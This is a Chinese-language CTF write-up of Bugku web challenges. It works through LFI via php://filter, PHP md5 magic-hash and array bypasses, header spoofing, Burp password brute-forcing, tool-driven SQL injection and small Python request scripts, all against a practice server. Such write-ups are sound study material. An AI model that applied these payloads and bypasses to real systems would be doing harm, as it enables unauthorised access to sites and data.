web2

查看源代码就能找到key

image.png


计算器

先习惯性的看眼网页元素

image.png

很明显这里对输入框的字符长度做了限制,改成验证码答案的位数就行,改大点也没事

image.png


web基础$_GET

打开网页,页面提示已经很明显了

image.png

按照要求提交参数即可

image.png


web基础$_POST

post提交参数,可以直接用HackBar,或者burpsuite抓包

image.png

burpsuite抓包修改的话,发现是GET请求,先Change request method,然后在报文最后加上what=flag即可

image.png


矛盾

看着和前面那题差不多

image.png

不过按照之前的方法没用,那就查一下这里提到的is_numeric函数

image.png

要想得到flag,必须进入这个if代码块里面,所以num的赋值不能是数值。而因为num变量是与1比较,在比较的时候会默认把num转化为数字型。

因此只需要在1后面添加任意字符即可

image.png


web3

无尽的弹窗,查看源代码可以看到这里有一行被注释的代码

image.png

HTML转义,用CTFCrackTools就行

image.png


域名解析

听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag

一开始地址栏填域名,Host改成IP不行,反过来就对了(拿出小本本记下

image.png


你必须让他停下

emmm闪来闪去我就直接丢到burpsuite的repeater里go几次就找到了flag

image.png


本地包含

是我的问题?我现在打不开这个页面emm看一下别人的题解


变量1

代码审计还没涉及到,先看看别人的题解

image.png

注意到最后的eval("var_dump(args);");,有两个

WEB - 图16

所以,只需要给变量传一个全局数组变量就好了

image.png


web5

说了是js混淆,那就查看源代码看到一串奇怪的东西,丢到控制台,回车一下得到flag

image.png


头等舱

什么也没有

是真的什么也没有,查看源代码也什么都没有,丢到burpsuite的repeater里go一下就什么都有了

image.png


网站被黑

源代码看不出有什么问题,就只好用工具扫一下后台了

image.png

打开第二个网址,用burp爆破一下

image.png

按照长度排序找到破解出来的密码:hack,查看Responce得到flag

image.png


管理员系统

查看源码,发现最后有些奇怪的东西

image.png

明显base64加密,解密得到test123,猜测为密码,输入后出现如下提示

image.png

看到这个就想到X-Forwarded-For,伪造一下然后go,成功获得flag

image.png


web4

提示查看源代码,发现一些url编码

image.png

解码并格式化后得到

  1. function checkSubmit() {
  2. var a = document.getElementById("password");
  3. if ("undefined" != typeof a) {
  4. if ("67d709b2b54aa2aa648cf6e87a7114f1" == a.value) return ! 0;
  5. alert("Error");
  6. a.focus();
  7. return ! 1
  8. }
  9. }
  10. document.getElementById("levelQuest").onsubmit = checkSubmit;

输入67d709b2b54aa2aa648cf6e87a7114f1得到key


flag在index里

参考wp:经典的本地文件包含漏洞+php伪协议的结合应用

注意到url地址http://123.206.87.240:8005/post/index.php?file=show.php

这是一个典型的文件包含漏洞,(file关键字是提示,其实也是CTF的套路)

这里用到了php的封装协议,所以访问http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

  1. 得到如下一串编码
  2. PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

很明显是base64编码,hackbar解码一下,得到flag

  1. <html>
  2. <title>Bugku-ctf</title>
  3. <?php
  4. error_reporting(0);
  5. if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
  6. $file=$_GET['file'];
  7. if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
  8. echo "Oh no!";
  9. exit();
  10. }
  11. include($file);
  12. //flag:flag{edulcni_elif_lacol_si_siht}
  13. ?>
  14. </html>
  • file=php://filter/read=convert.base64-encode/resource=index.php的含义
    • 首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php,通过传递这个参数可以得到index.php的源码。
    • 看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
    • 而include的内容是由用户控制的,所以通过传递的file参数,使include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以得到了源码的base64格式,解码即可。
    • 如果不进行base64编码传入,就会直接执行,而flag的信息在注释中,是得不到的。

输入密码查看flag

一共就5位数,还不爆破?更何况提示这么明显?image.png

burp拦截,选择payload点

image.pngimage.png

不用等全都跑完,按照回文长度排个序,很快就得到flag

image.png


点击一百万次

网站404了,看了下别人的wp,两种方法

先上源码

image.png

  1. F12,进入控制台,输入clicks=1000000,回车,再点击一下网站图案,得到flag
  2. 用POST提交cllicks=1000000,得到flag

备份是个好习惯

打开就是一串字符,没什么思路…(做题太少根本没想到扫目录

image.png

.bak,果然备份是个好习惯,打开url下载了一个文件,打开看看

  1. <?php
  2. /**
  3. * Created by PhpStorm.
  4. * User: Norse
  5. * Date: 2017/8/6
  6. * Time: 20:22
  7. */
  8. include_once "flag.php";
  9. ini_set("display_errors", 0);
  10. $str = strstr($_SERVER['REQUEST_URI'], '?');
  11. $str = substr($str,1);
  12. $str = str_replace('key','',$str); //将key替换为空,所以需要利用到重写(kkeyey)绕过
  13. parse_str($str);
  14. echo md5($key1);
  15. echo md5($key2);
  16. if(md5($key1) == md5($key2) && $key1 !== $key2){
  17. echo $flag."取得flag";
  18. }
  19. ?>

整段代码的意思是将get的两个参数中的key替换为空(这里可以用kekeyy绕过),然后对key1、key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag。

  1. 构造payload:?kkeyey1[]=123&kkeyey2[]=456
    1. md5()中需要传入的是一个string类型的参数,当传递一个数组时,是不会报错的。函数无法求出数组的MD5值,这样导致任意两个数组的MD5值都相等,从而绕过输入数值的判断。
    2. md5算法比较数组会返回NULL,也就是等值。
  2. 构造payload:?kkeyey1=QNKCDZO&kkeyey2=s878926199a
    1. ==是比较运算,它不会去检查条件式的表达式的类型;===是恒等,它会检查查表达式的值与类型是否相等。
    2. PHP在处理哈希字符串时,会利用!===来对哈希值进行比较,它把每一个以0E开头的哈希值都解释为0(遇到0ed+这种字符串,就会将这种字符串解析为科学计数法),所以如果两个不同的密码经过哈希以后,其哈希值都是以0E开头的,那么PHP将会认为他们相同,都是0。
    3. MD5值都是0e开头的字符串:QNKCDZO240610708s878926199as155964671as214587387as214587387a

成绩单(缺手工注入)

看了不少wp都是手工注入,sql注入还没学到家,先借助工具吧@椰树1.9

网站打开,源码元素都没什么有用的信息,涉及查询怀疑存在sql注入

打开椰树,输入url,修改post提交,打开网址然后扫描url
image.png
发现sql注入漏洞,右键SQL INJECTION POC
image.png
获取信息,环境出来后全部选中,再次获取信息
image.pngimage.png
依次选中,获取表名、字段、获取数据,得到flag
image.png


秋名山老司机

2s是不可能手算出来再提交的…只能借助脚本,网页多刷新几次会发现提示

image.png
看了下别人的wp都是用py写的脚本,抄抄改改学学

  1. # -*- coding: utf-8 -*-
  2. import re #re模块是正则表达式,用于匹配字符串当中的一定字符,但是说匹配这里却用来提取字符
  3. import requests #请求模块
  4. s = requests.session() #用s存session,session和cookie都用于身份识别,相当于记录身份
  5. url = 'http://123.206.87.240:8002/qiumingshan/'
  6. source = s.get(url) #用此身份请求url,得到页面对象,为了得到后面r.text的内容
  7. expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
  8. '''
  9. re.search扫描一个字符串返回第一个匹配成功的值,.text为服务器返回页面的内容,在.text中匹配需要的计算公式,r表示字符串为原始字符串,里面的"\"不再被认为转义字符
  10. “\d+” 匹配一个或者多个字符
  11. “[+-*]” 匹配加号,加号,乘号,因为式子里面包含这三种运算,"-“在中括号里面为特殊符号,使用”\"转义
  12. “\d+” 再匹配一个字符或者多个字符
  13. '''
  14. result = eval(expression) #计算
  15. post = {'value': result}
  16. print(s.post(url, data = post).text)

速度要快

首先查看源代码
image.png
抓包分析一下
image.png
base64解密,得到:跑的还不错,给你flag吧: OTAxOTcz,再次对字符串base64解密,得到901973。查看请求头,发现存在PHPSESSID,每次刷新得到的都不一样,所以要用python在同一个session下提交margin

  1. import requests
  2. import base64
  3. url = 'http://123.206.87.240:8002/web6/'
  4. s = requests.Session()
  5. headers = s.get(url).headers
  6. str1 = base64.b64decode(headers['flag'])
  7. str2 = base64.b64decode(repr(str1).split(':')[1])
  8. data = {'margin' : str2}
  9. flag = s.post(url, data = data)
  10. print(flag.text)

cookies欺骗

输入url,发现访问了:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

对filename进行base64解密,发现其名为keys.txt,尝试访问index.php,对其进行base64加密aW5kZXgucGhw,发现是空白页面,前面还有一个line,尝试修改为1,2,…n,发现每次返回一行,编写py脚本尝试获得index.php

  1. import requests
  2. a = 25
  3. for i in range(a):
  4. url = "http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
  5. s = requests.get(url)
  6. print(s.text)
  1. <?php
  2. error_reporting(0);
  3. $file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
  4. $line = isset($_GET['line']) ? intval($_GET['line']) : 0;
  5. if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
  6. $file_list = array(
  7. '0' => 'keys.txt',
  8. '1' => 'index.php',
  9. );
  10. if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
  11. $file_list[2] = 'keys.php';
  12. }
  13. if (in_array($file, $file_list)) {
  14. $fa = file($file);
  15. echo $fa[$line];
  16. }
  17. ?>

构造cookie,filename为keys.php的base64加密,查看页面源代码得到flag
image.png


never give up

查看源代码,发现提示1p.html,尝试访问,跳转到bugku,直接view-source:http://123.206.87.240:8006/test/1p.html

发现Words内是url编码,进行解码,得到

  1. var Words ="<script>window.location.href='http://www.bugku.com';</script>
  2. <!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->"

注释了一段base64,解密再次得到一段url编码文本,再次解码

  1. ";if(!$_GET['id'])
  2. {
  3. header('Location: hello.php?id=1');
  4. exit();
  5. }
  6. $id=$_GET['id'];
  7. $a=$_GET['a'];
  8. $b=$_GET['b'];
  9. if(stripos($a,'.'))
  10. {
  11. echo 'no no no no no no no';
  12. return ;
  13. }
  14. $data = @file_get_contents($a,'r');
  15. if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
  16. {
  17. require("f4l2a3g.txt");
  18. }
  19. else
  20. {
  21. print "never never never give up !!!";
  22. }
  23. ?>

直接访问http://123.206.87.240:8006/test/f4l2a3g.txt,得到flag,绕过方法太麻烦了看这个大佬的wp